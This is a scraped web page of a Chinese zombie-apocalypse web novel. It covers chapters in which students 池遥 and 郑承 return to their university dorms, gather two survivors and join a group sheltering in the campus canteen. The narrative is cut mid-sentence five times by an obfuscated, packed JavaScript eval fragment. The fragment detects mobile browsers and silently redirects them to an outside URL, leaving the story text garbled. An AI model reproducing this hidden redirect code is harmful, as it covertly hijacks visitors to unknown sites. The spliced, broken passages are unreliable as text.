因此,他收下了这张传单。 而池遥则从吊坠中取出一个全新的本子,连同签字笔一同珍重的递给安娴的丈夫。 “老师,可以给个to签吗?” 从安娴丈夫手中拿回本子时,池遥在心底暗暗发誓,这个本子从此就焊死在吊坠空间里吧。 在搞清楚路线后,安娴丈夫发动车子,朝着北城大学驶去。 池遥和郑承趁这个时间将手机充满电,而安娴则整理出几箱临期食品交给了池遥,送进吊坠内。 在询问过池遥吊坠里的物品后,安娴又整理出一个多余的铁锅一并送给池遥,这样一来,配合吊坠内的打火机,池遥和郑承二人就能随时随地生火做饭了。 而池遥则从吊坠里找出一套双人桌游和一瓶味道清新堪比空气清洁剂的香水回赠给了安娴。 当房车停在北城大学的铁栅栏外时,就迎来了告别之时。 安娴将二人送到房车门口,还没开口,就被池遥扑上去紧紧抱住。 安娴身形高挑,比池遥高了半个脑海,池遥索性将脸埋在安娴的颈窝里,亲昵地蹭了蹭。 “安娴姐姐,你们一定要小心啊,保护好自己,尤其要注意外面的行尸。” 在昨晚的谈话中,池遥和郑承已经向安娴夫妇科普了行尸的概念。 “这话应该是我要对你们说才对。”安娴哭笑不得地伸手拍拍池遥的肩膀,“你们两个孩子也是,一定要照顾好自己,千万不要因为过于依赖能力丧失警惕心啊。” 明明将近二十岁但仍旧被视作孩子的池遥和郑承乖乖地点头。 “无论发生什么事都一定要活着,以后我们说不定还能在哪里见面呢。”安娴放开池遥,两只手分别摸了摸池遥和郑承二人的脑袋,“下车吧,注意安全,以后再见!” “保重!”安娴丈夫坐在驾驶座上不便移动,放大音量与他们告别。 “你们也是,一路顺风!” 池遥的话音刚落,郑承发动能力,在两人身上覆盖好伪装后,率先打开车门,跳下了车,池遥紧随其后,离开了房车。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013218|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在池遥和郑承的指引下,房车并没有停在校门口,而是停在了距离女生宿舍最近的铁栅栏前。 北城大学的铁栅栏比工程大学的栅栏低矮了不少,两人轻轻松松翻越过栅栏,走向女生宿舍。 北城大学的女生宿舍和男生宿舍分布在校区两侧,女生宿舍共六栋楼,楼与楼之间设立了连接长廊,可以彼此互通。因此,池遥直接走进了最近的女生宿舍大门,只要沿着长廊走,总会走到她所在的宿舍楼内。 因为能力的缘故,池遥和郑承彼此都不能离对方太远,然而,当走进女生宿舍大厅时,郑承肉眼可见地有些犹豫。 “这样,不好吧?” 他的话音刚落,就看到一只丧尸从走廊游荡到大厅,与他们擦肩而过,从敞开的大门晃晃悠悠地出去了。 “现在的女寝应该......大部分都是丧尸了吧。”池遥伸手指着丧尸的背影,“而且你也要回自己的寝室吧?到时候我不是也要和你一起行动吗?” 郑承想想觉得池遥的话有道理,立刻加快脚步,跟着池遥顺着楼梯上了三楼,连通所有宿舍楼的长廊就在三楼,这一路上,人员密集的宿舍楼里到处都能见到丧尸,在狭窄的走廊中,有几次不小心与一只丧尸接触到,被丧尸识破了伪装,但池遥立刻取出郑承的菜刀,在其他丧尸察觉到不对之前就砍断了丧尸的脖子。 在这之后,池遥没有再把菜刀收起来,而是交给了郑承拿着,两人一路走,一路小心翼翼地躲避在走廊中漫无目的地游荡的丧尸。 没过多久,就到了池遥所在的宿舍楼。池遥的宿舍楼在二楼,宿舍门没锁,当池遥打开宿舍大门时,两个人共同松了一口气。 将近一个月没有回来的宿舍仍旧保持着池遥熟悉的模样,没有沾染任何血迹。她和曲卓的位置和放假前没什么变化,而另外两位舍友的位置明显空了不少,但至少能够看出,在末日到来之时,她们两个人都还好好的,并且成功离开了宿舍。 站在空荡荡的宿舍中,池遥终于放下心来,坐在自己的位置上,开始逐件收拾自己的物品,这才发现,自己放在脚边的零食收纳箱消失了。 不仅是自己的零食收纳箱,还包含曲卓囤的各种口味方便面也一并消失了,除此之外,她们的其他东西都完好无损。 看来是另外两位舍友离开的时候一起拿走了。 池遥之前放在宿舍内的零食保质期都不长,大多数现在已经临近保质期了,比起留在寝室里,反而舍友吃掉更好。 更何况,池遥回到宿舍也并不是为了拿回自己的零食的。 接下来,郑承就目瞪口呆地看到池遥爬上自己的床铺,从床铺上翻出一张笔记本电脑,一台思维驰游戏机和对应收纳盒,手掌大小的迷你音箱和蓝牙耳机,最后甚至拎下来了一张床上小桌。 池遥挨个打开自己的电子设备确认状态,许久未使用,笔记本和游戏机都耗光了电量,反而是音箱和蓝牙耳机还保持着能够开机的电量。池遥依次关机,在插排附近找到它们的充电线,配套放进吊坠中,最后将游戏机装进收纳盒里,顺便依次确认了收纳盒里的游戏卡带。 在这之后,池遥将自己的东西收拾了个干干净净,连床帘都拆卸下来,连同床上的褥子卷起来一起放进吊坠里,最后,看着自己空空荡荡的位置,以及一旁仍旧维持在放假前的曲卓的位置,池遥深深地叹了口气。 看来曲卓并没有回北城大学啊。 18. 北城大学2 曲卓的位置仍旧保留着放假前的模样。 床帘是清新的浅色系,因为久未住人已经积攒了薄薄一层灰尘,课桌后的墙面上贴着曲卓最喜欢的明星的海报,桌面的小架子上摆放着池遥和曲卓两人一起拍摄的拍立得相片,用卡套精心封装起来。另一侧则是曲卓喜欢的明星的主题台历。 “这是哪个明星?”郑承见池遥盯着曲卓的位置发呆,凑上来问道。 “叫方以濯,是曲卓最喜欢的爱豆。”池遥想拿几件曲卓的物品收起来,又害怕未来曲卓会回到这间宿舍,只能到处挑没用的东西,最后将曲卓的台历收进了吊坠空间,又想到自己还在寻找曲卓的踪迹,在架子上的拍立得相片中选了几张有曲卓正脸的照片收了起来,两人一起离开了宿舍。 池遥的宿舍在二楼最深处的房间,距离宿舍走廊还要经过五六间寝室,两人一边走,一边做下一步打算。 “接下来去哪儿?”池遥问郑承,“你也要回宿舍吧?” “回宿舍倒不着急,我最想知道的是学校里幸存者的情况。”郑承蹙眉,“宿舍楼里已经没有幸存者了,那幸存者会聚集在哪儿呢?” 二人谈话间,已经一路走到了二楼走廊边,正要下楼,却忽然听到靠走廊最近边的寝室门发出了“咚”一声轻响。 仿佛有人在寝室里叩门一般。 声音不大,但瞬间吸引了附近丧尸们的注意,幸好叩门声只持续了一秒,很快,原本向此处聚集的丧尸们再次失去了方向。 而池遥则拉着郑承来到发出声响的大门前,从脚边的门缝里摸出了一张彩色的便利贴纸。 这张纸条正是刚刚寝室门叩响时,宿舍里的人从门缝里递出来的。 “我们两个人已经在宿舍待了半个多月了,你们是从校外来的吗?走廊里的丧尸多吗?学校的幸存者都在食堂大楼,你们可以去那里找找他们。” 落款为2A211寝室。 池遥从吊坠内找出了从长宁街幼儿园带出的笔,刚写了一个字,忽然发觉仅隔着一扇宿舍门,她和郑承有能力保护,直接口述传递信息更方便。 “我们也是北城大的学生,丧尸爆发的时候在校外,刚刚回学校。走廊里的丧尸很多,你们小心不要发出声音。”池遥记得211寝室的四个女孩子,同一楼层的女生们每天在公用洗漱间和水房里天天打照面,虽然不知道彼此的名字,但都认得彼此的脸。 “我是217寝室的池遥,丧尸爆发的时候我和一个舍友在校外,还有两个舍友在寝室里,你们知道她们去哪儿了吗?” 说完这句话过了好半天,门缝下递出一张新的纸条。 “丧尸爆发几天之后,二楼大部分寝室幸存的女生结伴一起去食堂了,你的舍友应该也在。” “那你们呢?”池遥问道,“寝室里的物资还够用吗?” “我们也准备去食堂,你们要和我们结伴一起吗?”一直在一旁倾听的郑承忽然开口。 闻言,池遥侧过头,与郑承对视一眼。 郑承的能力只能为两个人提供伪装,一旦带上211寝室的两个人,他们二人想必也没办法像来时那样轻松了。 思及此处,她再次拿出菜刀,塞进郑承的手里,以防万一。 半晌,宿舍门缝下都没有递出纸条。 隔着一扇门交流效率还是太低了,想到这里,池遥开口。 “我们方便进寝室详谈吗?我想办法把门外的丧尸引开,你们趁机开门让我们进去,可以吗?” 这一次对方很快给出肯定的答复。 池遥在吊坠中找出一部手机,开机后设置了倒计时,将闹钟声音调到最大,放到了三楼走廊内,没过一会儿,巨大的闹钟声音就响彻整个走廊,二楼的丧尸全部被吸引去了楼上。 趁此机会,211寝室的门开了,池遥和郑承立刻走了进去。 池遥和211寝室的两个人虽然不认识,但都熟悉彼此的脸,看到熟悉的人后纷纷松了口气。 紧接着,两人对池遥和郑承讲了丧尸爆发后,北城大学女生宿舍二楼发生的事。 难得的十一小长假,211寝室的孔欣和周琳琳两人选择了留在寝室,为了舒舒服服度过小长假,两人屯了大量速食,本想着假期犒劳一下自己,没想到这些物资却让她们在丧尸爆发后坚持到现在。 丧尸爆发的当天周琳琳正好有早课,早上六点,手机闹钟在寝室内响起时,吵醒二人的除了闹钟声以外,还有宿舍走廊内循着闹钟声而来的丧尸吼叫声。 校园网断开,手机信号断断续续,女生们用各种办法互相传递信息,物资多的寝室匀出食物给缺少食物的寝室,就这样,相安无事地度过了好几天。 直到丧尸爆发的第四天,孔欣透过寝室的窗户,看到了满是丧尸的校园上空传来了机器运行的响声。 一架小型无人机在校园上空盘旋,机身悬挂着一个破破烂烂的条幅,上面是一行醒目的红色大字:综合食堂内有丰富物资!请大家来综合食堂! 一上午,无人机飞过了大半个校园。 北城大学的食堂很多,位置十分分散,有在教学楼内占据一个楼层的,也有位置偏远距离宿舍较远的风味食堂,但一提起食堂二字,北城大学的学生们都会不约而同的默认是综合食堂。 综合食堂是唯一一个占据了一整栋楼的食堂,一共四层,一层是早餐档口和大型超市,二三层是物美价廉的学生食堂,而四层则是不对外开放的教师食堂。 得知这个消息后,二层大部分的幸存者聚集起来,一同前往综合食堂,而211寝室的物资丰富,孔欣和周琳琳便选择了留在寝室内。 然而,这场突如其来的危机的持续时间远比两个女孩子想象得要更加长久,更加现实,很快,她们就面临着食物告罄的困境。 “你们的两个室友如果还幸存的话,大概率会在综合食堂。”讲完二人的遭遇,周琳琳给两人各递了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020223|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盒饮料,过了不到一个月,她们囤积的物资还剩不少。 池遥和郑承欣然接受了二人的物资,宿舍内目之所及处有不少零食箱子,能看到有几个箱子里还有好几包零食饮料。 “我们也准备去综合食堂看看。”池遥点点头,“你们呢?你们接下来打算怎么办?” “我们......”两个女孩对视一眼,双方的视线都有些犹豫,但在目光对上之时又同时变得坚定起来。 “如果你们不介意的话,我们也想去食堂看看。”最终,两人看向了池遥和郑承,“宿舍里的食物还剩下不少,能坚持一周,但是现在看来,就算我们再等一周,外面的情况也不会变得更好,还不如趁早和大家集合。” “你们是从校外回来的,食物应该也不多了吧,我们囤的东西你们也拿一些吧。” 说到这里,两个女孩立刻开始收拾起各自的背包,尽可能把能带的物品都带上。 见她们收拾物资的样子,池遥无意识地伸出手,摩挲着脖颈上的吊坠,扭头时正与一旁看着她的郑承对上了视线。 郑承朝她微微摇了摇头,走到正在收拾背包的二人身边,开口。 “你们是打算把这些速食和零食饮料统一装到这个大箱子里吗?” 孔欣和周琳琳只拿了少部分食物装在背包里,更多位置放的是换洗衣物和生活用品。而宿舍里摆得到处都是的其他食物,则被她们打包起来装进了最大的零食箱内。 “外面都是丧尸,我们本来就没有对付丧尸的经验,更要轻装简行,不能给你们拖后腿。”孔欣将打包好的箱子放在门后的空地上,“这些剩下的物资装箱放在这里,这样的话,如果我们以后还有机会回宿舍,或者有其他同学回宿舍的话,都能帮上忙。” “你们也多拿一点带走,这些食物都是我们不舍得吃留到现在的呢。”周琳琳冲二人友好的笑了笑,“如果没遇到你们,我们两个说不定会一直不敢出门,只能待在寝室里自生自灭。” “丧尸确实很可怕。”池遥点点头,回想起自己与曲卓在酒店房间里第一次与丧尸对峙的时候,末日降临后明明已经过了将近一个月,但末日第一天的景象却仍旧十分清晰。 而现在,她虽然仍旧无法游刃有余的对付丧尸,但总算有杀死丧尸,甚至是行尸的经验了。 “只要掌握方法,杀死丧尸也不是很难。” 这一次,她终于有底气,在其他从未与丧尸对抗过的同伴面前,说出这句话。 还留在基地的时候,每一次和曲卓温俭等人一同外出,杀死丧尸的工作大多都由温俭和曲卓来完成,温俭的能力几乎是以收割的方式扫荡远处的丧尸,而曲卓的能力虽然对战斗帮助不大,但身为天赋者,她被强化过的躯体同样远超普通人。 这句话常常从曲卓的口中说出来,用以安慰池遥。 而此时,在离开曲卓的庇护之后,池遥终于有底气,有机会,将这句话讲给下一个人。 19. 北城大学3 离开宿舍的时候,孔欣和周琳琳脸上都露出了不舍的表情。 郑承提前离开宿舍,借着能力的掩护来到楼上捡起不久前放在此处的手机,如法炮制,再次设置了新的闹钟。 在洪亮的闹钟声音再度在楼上响起后,211宿舍的房门无声地打开,孔欣和周琳琳先出了宿舍,而走在最后一个的池遥则静悄悄拎起留在宿舍中的零食箱,举至胸前,指尖轻触胸口的吊坠。 偌大的纸箱骤然消失,池遥面不改色的跟在两个女孩身后,抬头时对上郑承的视线,冲他微微颔首。 池遥等人所在的宿舍楼距离综合食堂很近,只需要横穿过学校的露天体育场就能直达食堂大门口。然而,这只是和平时代的捷径,当顺利离开宿舍楼的四人看到体育场中黑压压的丧尸群影子,立刻决定绕远路。 露天体育场外圈由坚固的铁栅栏围绕得密不透风,原本便于学生进出的两个出入口也全部关门上锁,还用铁丝网做了二次加工,变成了一个困住丧尸的巨型牢笼。 被关在体育场中的丧尸数量众多,而周围路上自由活动的丧尸却寥寥无几,郑承和池遥将孔欣周琳琳两人护在中间,原本做好了与丧尸苦战的准备,但眼下的状况显然比想象中好了不止一点半点。 郑承手中的武器仍旧是他用顺手的菜刀,孔欣和周琳琳手中握着宿舍里人手一把的水果刀,她们将宿舍里多余的水果刀分给了池遥。 “估计体育场里的丧尸就是食堂里的人关起来的。”郑承分析道。 沿体育场外绕到食堂门口有两条路,一条经过其他的宿舍楼,一条经过距离宿舍楼最近的七号教学楼,想到来时的路上宿舍楼里的丧尸,四人果断选择了第二条路。 “丧尸的行动能力很强,即使是缺胳膊少腿一样能够行动。” 再次杀死拦路的丧尸,池遥开始向身旁的两人传授杀丧尸的经验。 “唯一的办法就是砍掉脑袋,或者直接捣碎它们的脑子。别看我说的好像很难,实际上丧尸的皮肉已经腐烂了,骨头也不坚硬,砍头并没有想象中那么难。” 这是池遥杀过两次行尸后,再次杀丧尸时得出的结论。 行尸虽然看上去与丧尸相似,但本质上仍旧是人类,甚至是躯体加强后的人类,而丧尸则不然,比起行尸,丧尸更像是毫无知觉,全靠机械化行动的尸体。 “池遥。” 池遥说话的工夫,走在最前方的郑承一刀解决了路边晃晃悠悠的丧尸,环视四周后忽然蹙起了眉头,面容瞬间变得严肃起来。 池遥顺着他的目光看去。 此时,他们已经走过了一半的路程,离开了丧尸最为密集的宿舍区。 一路上,四人顺着体育场的栅栏前行,这样需要注意的就只有来自另一侧的丧尸,池遥和郑承两个能力者也有余力保护身后的两个女生,尽管二人的能力都对杀丧尸毫无帮助。 就在四人的斜前方,是池遥专业课所在的七号教学楼,这栋教学楼也是距离宿舍区最近的一栋。 而此时,在池遥和郑承视线的尽头,七号教学楼二楼的一扇窗户却大开着,一个单薄的身影蹲在窗边,看起来似乎是正要朝着下面跳的样子,糟糕的是,在这扇窗户正下方,有几只游荡的丧尸也听到了上面的动静,纷纷聚集起来,对着上方的窗户发出了低吼声。 “情况不妙。” 池遥低声感叹一句,加快了脚步,前面的郑承已经加速跑向了窗户下方。 北城大学校园建在半山腰上,从二楼窗户上跳下来固然不会致死,但一旦窗下还有丧尸守株待兔,就必死无疑。 紧跟在郑承身后,池遥迅速将水果刀捅进了一个丧尸的眼眶,直接捅穿了丧尸的脑子。郑承挥舞着菜刀杀死了两只丧尸,而一直跟在他们身后的孔欣和周琳琳两人合作也成功杀死了一只丧尸。 四人对付丧尸的时候,二楼的人也已经跳了下来,个头矮小的男生身上穿的厚重外套为他提供了一点缓冲作用,但饶是如此,他落地后还是在原地惨叫一声,缓了半天才站起来。 在第一个人跳下来之后,他身后的第二个,第三个人也接二连三地从窗口跳了下来,总共五个人,最后一个人要跳的时候,被追上来的丧尸扯住了裤子,最后带着丧尸一起落了下来。 郑承反应极快,在最后一个人落地时就冲上去砍断了丧尸的脖子,这才将目光转向了最后一个跳下来的人,看到对方的脸时,露出了无比惊喜的表情。 “周文博!” “郑承!你小子还活着呢!” 时间紧迫,两人也只叫出了对方的名字,随后周文博就站起身来,领着剩余四人朝着综合食堂的方向跑去,还不忘朝郑承和池遥等人挥手,示意他们也跟上。 所幸,从七号楼到综合食堂只剩下了短短一段路,然而,刚刚从二楼跳下来的五个人都多多少少受了伤,奔跑速度并不快,池遥和郑承跟在他们身后,眼疾手快地动手杀死了身后跟上来的丧尸,一路保护他们。 几人朝着食堂后门奔逃的路上已经无暇注意音量,途经体育场的另一侧栅栏,体育场中的丧尸被他们的声响吸引,挤在栅栏前,吃力地朝他们的方向发出渗人的吼声,幸好体育场的栅栏足够结实,将这些丧尸死死困在体育场内。 终于来到综合食堂后门,还没等周文博敲门,后门就被里面的学生一把推开,早就守在门内的学生们伸手快速把几人拉进食堂大楼内,砰的一声关上了门。 丧尸们的脚步声与吼叫声一并被隔绝在了大门之外。 身为天赋者的郑承跑了一段路还算轻松,反而是原本身体素质极差的池遥和孔欣和周琳琳两人累得弯下腰,扶着膝盖直喘气,另一边以周文博为首的五个学生更是一屁股坐在地上,动都不想动。 “周文博,你们比预计的时间晚了十分钟!” 等池遥终于平复呼吸,抬起头来,就看到了一个身形瘦高的女生,正站在周文博面前,边数落边揪周文博的耳朵,后者痛得龇牙咧嘴,反复叫着饶命。 等两人闹够,女生看向跟随他们进来的池遥等人,惊喜地叫出声。 “郑承!天呐,你居然活着,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031284|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回学校了!” “这是吴心语,她旁边的是我舍友周文博,都是和我一个专业的。”郑承先为池遥介绍了这两个人,才冲吴心语点点头。 “对,返校日那天我在工程大学,之后一直和工程大学的朋友在一起。” 终于和同学重逢,郑承显然激动得很,和二人围在一起交流最近的事。 “那位是池遥,也是北城大的,我俩在工程大学碰面之后就搭车一起回学校了。” 在和朋友叙旧时,郑承只详细说了自己的事,但却有意略过了池遥,行尸,以及他死去的朋友的话题。 另一边,孔欣和周琳琳也在和认识的人打招呼,而池遥还没反应过来,就陷入到一个有力的怀抱中。 “小池遥!总算见到你了!” 只听对方的声音,池遥就认出了对方的身份。 “然然!” 她紧紧抱住了对方。 这是她的舍友孟然,也是她们的寝室长,作为217寝室唯一一个不怕虫子的女生,大学一年多的时间里,她一直是宿舍四人坚实的靠山。 “你和小宁都还好吗?我本来一直和曲卓在一起,但是前段时间意外走散了。” 二人拥抱后,池遥拉着舍友的手,将自己和曲卓这一个月发生的事讲给对方听,和郑承一样,她也隐去了自己被行尸抓走又被郑承救出的惊险过往,只讲述了在黑哥基地的事情。 “我们俩一直在一起,都过得不错,小宁在楼上,应该还不知道你回来的事。”孟然拍了拍池遥的手背,“曲卓是咱们寝室最有主意的人,不会出事的。” 短暂的叙旧时间结束,留在一楼的众人纷纷上了楼,孟然边带着池遥上楼,一边和她讲述食堂内的见闻。 “一楼现在基本已经空出来了,大家都在三四层居住,二楼用来囤积物资,我先带你去二楼登记,和食堂有关的事,一会儿林晟他们应该会详细和你说。” “林晟?” 对于池遥而言,这是个有几分熟悉的名字。 “是艺术生,比咱们大一届的学长,你应该不认识。但他是个特别厉害的人,丧尸刚出现的前几天,就是他清理出了综合食堂的丧尸,也是他用无人机告诉大家来综合食堂避难的。” “这样啊。” 听完孟然的描述,池遥仍旧记不起来林晟究竟是何等人物,但想来孔欣和周琳琳看到的那一架无人机就是这个叫林晟的人操纵的了。 两人说话的时候,已经来到了二楼,和空荡荡的一楼相比,食堂二楼变化很大,无人的档口里堆积着各种箱子,还有从其他教学楼搬来的自动售货机与充电宝机器。不同档口前方的桌面上都贴着白纸,上面鲜明的红色字迹写着“食物区”“生活区”“杂物区”等字样。 距离楼梯最近的档口牌匾上,同样白纸红字写着“登记处”的字样,距离档口最近的餐桌旁,一个肤色偏白,神色倦怠的男生趴在餐桌上小憩,听见池遥等人的说话声,才微微睁开眼睛,目光定格在池遥身上时,猛地坐直身子。 “池遥!” 20. 北城大学4 面前的人无疑是孟然口中的林晟。 池遥的目光在对方身上反复打量了几个来回,才终于想起,这个人她的确认识。 一年前的八月末,池遥早早出门,到北城大学报到时,带领池遥前往宿舍楼的学长就是林晟。 池遥家就在本市,因此她整个人轻装简行,只背了一个背包,跟随着林晟走在新生入学的人流中,简直像是两个毫不相干的局外人。 北城大学的正门豪华气派,新生报到就在正门进行,然而这也是距离教学楼和宿舍区最远的一个大门,坐落在正门附近的建筑多是用于学术研究的各种科研馆。 沿正门大路走到分岔路口,其他新生们都顺着人流前往宿舍区放行李,唯有林晟停了下来,他深深地吸了一口气,目光在拖着行李的新生中随意扫过,随后看向一直跟随在他右后方身侧,一言不发的池遥。 “这位没有行李的新生,池遥学妹,你着急去宿舍吗?” “.....不着急。”池遥不明白他问话的用意。 “那要不然我先带你去其他地方逛逛?”林晟迈步走向空无一人的另一侧岔道,“反正你东西也不多,咱们去逛逛校园,看看食堂和课外楼怎么样?你是不知道,我把你送回宿舍之后,还要回正门去接送下一个新生,到时候说不定要帮人家提好几个箱子走好多个来回。我们一起消磨消磨时间,你逛逛校园,我摸个鱼偷闲,合作共赢,怎么样?” “可以啊。”池遥也没什么事,顺从地点头。 “太好了学妹!”比她高了一个脑袋的学长笑着拍拍她的肩膀,掌心的暖意顺着衣料传到池遥身上,“我请你喝奶茶好吗?你喜欢什么牌子,什么口味的?咱学校什么都有!” 这之后,林晟带她去了综合食堂一楼,发现两人都没吃早餐后,坐在一起消灭了两屉小笼包。 他带着初入大学的池遥逛了全是店铺的课外楼,如约请池遥喝了奶茶,逛了各种小型商店,等到二人晃晃悠悠来到池遥的宿舍楼下时,已经到了午饭时间,新生报道接近尾声,两人交换了联系方式,互相道别。 林晟是艺术生,上课的教学楼和活动区域与池遥完全不重合,因此,在这之后池遥鲜少与林晟碰面,直到此时在食堂重逢,才想起了自己和这个人认识的经过。 “你认识林晟吗?”孟然有些惊讶。 “好像确实是认识,新生报到的时候就是他送我去宿舍的。”池遥点点头,快步走到林晟面前。 登记处除了林晟以外,还有一个穿着白绿相间的棒球服外套的瘦高男生,他站在贴着登记处字样的牌匾旁边,大半个身子倚着墙壁,正在把玩着手里的一支笔,见到池遥等人的身影,将手里的笔和一沓白纸摆在林晟面前的桌上。 “好久不见,林晟学长。”池遥在林晟对面的餐桌坐下,“没想到在末日降临之后还能见到你。” “是啊。”林晟将餐桌上的纸笔递给池遥,示意她填写,“你是今天刚回学校吗?校外的情况怎么样?” “和学校里的情况差不多。”池遥想到从工程大学一路过来看到的情况,“很多地方自发组织起了幸存者组织,但这种组织并不可信,组织内部关系很复杂。不仅如此,现在还出现了天赋者和一些行尸——与普通丧尸长相差不多,但本质不同的怪物,混乱得很。” 池遥一边说,一边填写林晟递来的登记表,综合食堂的登记表制作十分粗糙,所有问题全部是手写内容,但内容不少,池遥填完常规的姓名专业学号后,吃惊地看到了后续的问题。 “请问你是否为天赋者,是否有独立杀死丧尸的经验,身上是否有伤痕......” 她轻声念出后面的问题,听到她的声音,林晟的表情也显得有几分窘迫。 “抱歉,池遥学妹,这个登记表是最近新制作出来的,本来我们也不想探究这些问题,只是......几天前这里也发生了不少变故,我们损失了不少人,现在食堂里有将近四十名学生,换做是一周前,食堂里有六十多人的。” “为了防止之前的情况再发生,现在新加入食堂的人都要填写登记表。”站在一旁的瘦高男生冷着脸补充道。 “这是我舍友程煜,你别看他有点凶,其实他很热心很好说话的。”林晟介绍道,“丧尸刚刚爆发的时候,综合食堂还没开放,里面既没人也没有丧尸,我俩是最先找到这里的,之后一起清理了周边的丧尸,清理丧尸的过程基本都是程煜出力。” 被舍友夸奖的人反倒露出了一副别扭的表情,冷哼一声走远了。 填到“是否为天赋者”这个问题时,池遥犹豫了很久,也无从下笔,最终开口问道。 “学长,你们设置这个问题,是因为食堂的学生中已经存在天赋者了吗?” “对,虽然我们几个都是普通人,但以前食堂人数最多的时候,最多有五个天赋者,不过现在只剩一个人了。不知道你们认不认识经管学院的吴心语,她现在就是食堂仅剩的天赋者了。” 是郑承的那位朋友啊。 “是在说我的事吗?” 林晟话音刚落,熟悉的女声从不远处传来,池遥抬头看去,是吴心语和周文博带着郑承来登记处了。 “在说你的身份。”林晟回话,“新来的同学麻烦过来填一下登记表,这次一共多了几个人?还有人没来登记吗?” “还有两个女生,她们有行李,先跟着朋友上楼放包去了,一会儿过来。”吴心语简单交代了孔欣周琳琳的去向,来到了池遥面前,“你是叫池遥对吗?刚才郑承应该介绍过了,认识一下,我叫吴心语,是食堂唯一的天赋者,我的能力简单来说就是可以开启保护罩,虽然有一定的限制,但只要在保护罩范围内,你们就绝对安全了。” 听了吴心语的话,池遥点点头,在登记表上“天赋者”三个字后打了一个对勾。 “你也是天赋者吗?” 吴心语第一时间发现了她的动作。 “是的,我的能力没办法战斗,只能治愈外伤,而且限制很多。”面对几人期待的表情,池遥的音量越来越微弱。 随后,她不再隐瞒,如实填写了后续问题。 而在她旁边填表的郑承也一样,见池遥没有隐瞒,他也没有隐瞒自己的能力。 这下,算上新来的二人,食堂就有三位天赋者了,但这三人的能力都不适用于打斗,各有各的局限之处。 “简单介绍一下食堂内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045968|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情况,现在食堂里算上你们一共有四十人,我和程煜暂且算是这里的组织者。”林晟顿了顿,“吴心语也算半个组织者吧,她以前是学生会的,现在还是天赋者。” “末日已经过了将近一个月,现在食堂里的食物储备......老实说已经剩的不多了,所以每天上午九点到下午三点是自发性的外出时间,可以在这段时间外出寻找物资,找到的物资一部分自行留下,一部分作为集体物资储存在二楼。” “我的防护罩展开期间,丧尸没办法从外面进入防护罩,但防护罩里面的人同样无法出去,所以如果没有特殊情况,每天上午九点,我会解除防护罩,下午三点以后再重新打开。不外出的人这段时间会在一楼轮流看守大门,防止有丧尸或者外来者入侵。” 吴心语补充道。 “现在食堂的食物最多还能撑多久?”池遥开口问道。 她的吊坠里除了孔欣周琳琳的食物之外,还有不少食物,都是安娴夫妻送的。若是她独自一人的情况倒是能够撑一段时间,可若是分给食堂的四十号人,恐怕也只能坚持一天。 “如果之后还是找不到物资的话,最多也只坚持五天。”发话的是不知什么时候回来的程煜,“这种细节的问题问我就好,他根本不知道。” 林晟在一旁露出了有几分尴尬的笑容,接话道。 “我们现在有两个方案,一个是靠每天外出搜寻物资来继续生存,这样不需要转移阵地。问题在于校内的幸存者不止我们这些人,校内现有的物资已经被搜刮得差不多了。另一个就是全体转移到校外,无论是加入避难所还是寻找新的基地都更容易获取物资,但我们的人数很多,如果集体离开食堂一定会引起丧尸的注意,只能借助交通工具,这几天周文博小队就是外出考察校内车辆的。” “原来如此。”池遥点点头,综合食堂无疑是最安全舒适的避难所,但难以获取物资,而离开校外显然有更大的生存机会,然而校外的危机也远大于校内,存在各种不可控因素。 对于食堂内部情况的进一步了解在孔欣和周琳琳前来登记时被迫结束,林晟和程煜二人给两人介绍食堂现状,吴心语和周文博两人也在一旁插话讲解, 孟然在池遥填写登记表的时候就带着池遥的背包上楼帮她安置今晚的落脚点了,此时二楼只剩下池遥和郑承两人无所事事,两人对视一眼,池遥朝郑承指了指自己的脖颈间。 于是,两人问清了正在填表的两个女生今晚的住处,一起上了四楼。 